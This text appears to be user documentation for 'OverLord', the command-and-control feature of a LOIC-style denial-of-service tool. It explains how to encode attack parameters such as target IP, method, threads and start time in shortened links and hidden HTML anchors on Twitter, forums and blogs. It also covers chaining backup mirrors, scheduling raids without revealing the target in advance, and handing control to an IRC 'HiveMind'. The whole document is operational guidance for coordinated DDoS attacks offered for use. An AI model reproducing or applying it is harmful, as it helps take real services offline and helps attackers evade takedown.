OverLord encodes the commands in Hyperlinks. You can place your commands virtually on any place in the internet. You can use Twitter, Facebook, any Forum / Message-Board / Blog or what so ever.
It is fully compatible with all common URL-shorteners and works with any header-redirector (the Location-Header is processed).
Most services give you the possibility to change the URL if you have signed up - this gives you the possibility to hand out one single link and control your PA by changing that link for new commands. In addition most services provide you with some "click-stats" which should give you an estimation of the size of your PA. (though not that exact .. there might be actual browsers trying to follow these links xD)
In addition OverLord lets you announce new HiveMind-IRC-Servers and even set countdowns for raids!
The countdown option let's you even set a time and give your fellow Anons time to report in WITHOUT revealing the target. the given URL is rechecked directly before the attack was scheduled to start, so that you set the actual target right before the attack starts by changing the command in the URL.
Besides command links OverLord supports backup-mirrors (as many as you want) - these mirrors can point to other mirros or contain target-links and so on.
EZ Grab
Just fill out your attack-options .. run a short test and hit F10!
You can use any URL shortener you like or just choose one of the given services and click "Make tiny"
boring Nerd-Stuff
All commands which are not set will be set to default automatically on the client!
There are 3 Methods:
I. Plain-Text Links: can ONLY specify TARGETS
LOIC: {OL-URI}
II: a-href Links:
II.a: Back-Up Mirrors - they contain no target information and point to sites, where target are posted.
class="LO bu" href="{URI}" - read diretion top to bottom
class="LO bu r" href="{URI}" - read direcion bottom to top
The read direction depends on the site: e.g. for twitter, where the newest post is on the top, you want to scan the site top-to-bottom for targets.
On Blogs / Boards where the newest posts are at the bottom, you want to scan in the reverse direction.
In the GUI the checkbox "Up?" scans top-to-bottom if checked and reverse otherwise.
The scan stops at the first encountered target and uses this as the current target - all BackUp Mirrors up to this point are stored. (mirrors after the 1st target in read-direction are ignored)
II.b: Target-Links
class="LO tar" href="{OL-URI}"
III. Plain Text instruction (this is depreciated)
[LOIC]
{command}:{value}
{command}:{value}
...
[/LOIC]
If there is a "lot" of html-code merged into the text it is best to use the "@"-Delimeter:
[LOIC]@{command}:{value}@<html goes here&tt;@{command}:{value}@......[/LOIC]
The URI-Syntax for Targets:
{OL-URI} = {URI}@{command}={value}@{single_sign}@{command}={value}@...
IT IS HIGHLY RECOMMENDED TO USE URL-SHORTENER FOR THE TARGET-COMMANDS!!
Commands:
(there are 2 new commands - the others are the same as on IRC)
targetip, targethost, timeout, subsite, message, port, method, threads, wait, random, speed, sockspthread, useget, usegzip
hivemind - let's you set an Hive-Mind-Server over OverLord: @hivemind=irc.cooldomin.heros:6667#hivemind@
If this command is used the control is immediately transferred to the HiveMind! (aka: OverLord STOPS working!) Therefor the hivemind command is best used alone without other commands.
time - you can set a timer for the beginning of the fun: @time=YYYY/MM/DD HH:mm@ (time-zone is UTC for the time - the time-zone-correction is done by the client according to the system-settings and time!)
If a time command is issued the current attack stops and the Lazor waits until the time is reached. The target-information is updated once again EXACTLY at the beginning of the attack.
Using this it is possible, to set a time for all "connected" lazors WITHOUT revealing the target:
1. http://hive.mind/go.hp?@time=2010/05/23 15:00@
at 14:55 (UTC) you just change the Link to: http://hive.mind/go.hp?@time=2010/05/23 15:00@&@targetip=127.0.0.1@
... enough with the crap - a real world example:
On site http://main.com is the command center where you don't want to post target-information:
put somewhere on your site (in a .php / .txt / .html / .js or whatever file you have) the Back-Up-Mirrors for your OP:
<a class="LO bu" href="http://somefree-hoster.com/url/yourbackup"> </a>
<a class="LO bu" href="http://twitter.com/account"> </a>
<a class="LO bu r" href="http://xyx.chan.com/b/1234"> </a>
<a class="LO bu" href="http://bit.ly"> </a>
As soon as one mirror fails the next is taken - the mirrors are accumulated at the client - so you can change them or add more atfer the majority of the nodes have read them once. Back-Up-Mirrors are only removed from the client, if one seems to be offline. (the effects of the Stress-Test on the client machine is (to some degree) mitigated!)
it might be a good idea, to hide the "LO"-Class with a (inline-) CSS or put it into any hidden container ... or just leave as is.
ATTENTION: Backup Mirrors + Targets in one Page!
Pay attention to the scan-direction! If you read top-to-bottom (Up? = checked in the GUI) you HAVE TO PUT your mirrors BEFORE the first target-link!
If you scan reverse you have to put the mirrors BELOW the target!
example: Scanning REVERSE + Mixed-Mode
<html-code>
<p>your very long paragraph LOIC: http://bit.ly/abcde your paragraph contniues on for hours</p>
<more html>
<a style="display:none" class="LO bu" href="http://bit.ly"> </a>
<footer-stuff>
Tip
For backwards compability specify the ReCoil and SlowLOIC attack as follows: @method=TCP@&@method=ReCoil@
Due to the change of the timeout it might be best to go with the default values!